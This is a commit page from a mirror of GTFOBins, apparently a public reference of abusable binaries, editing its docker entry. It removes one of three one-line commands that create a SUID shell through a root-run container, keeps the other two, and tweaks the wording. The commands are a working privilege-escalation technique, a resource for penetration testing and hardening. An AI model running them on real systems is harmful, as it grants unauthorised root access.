public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 22:40:10 +01:00
Code Issues Projects Releases Wiki Activity

Remove docker interactive-execute

Browse Source
This commit is contained in:
Emilio Pinna 2018-08-19 11:14:16 +01:00
parent edd7fec5ff
commit f34aa31334
1 changed files with 3 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
_gtfobins/docker.md
View File

@ -1,19 +1,13 @@
--- ---
description: | description: |
Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, i.e., being in the `docker` group. Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`.
This creates a SUID shell in the guest file system. Any other Linux images should work, e.g., `debian`.
functions: functions:
execute-interactive:
- code: |
docker run --rm -v /home/$USER:/h_docs ubuntu \
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
sudo-enabled: sudo-enabled:
- code: | - code: |
sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
suid-enabled: suid-enabled:
- code: | - code: |
./docker run --rm -v /home/$USER:/h_docs ubuntu \ ./docker run --rm -v /home/$USER:/h_docs ubuntu \
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
--- ---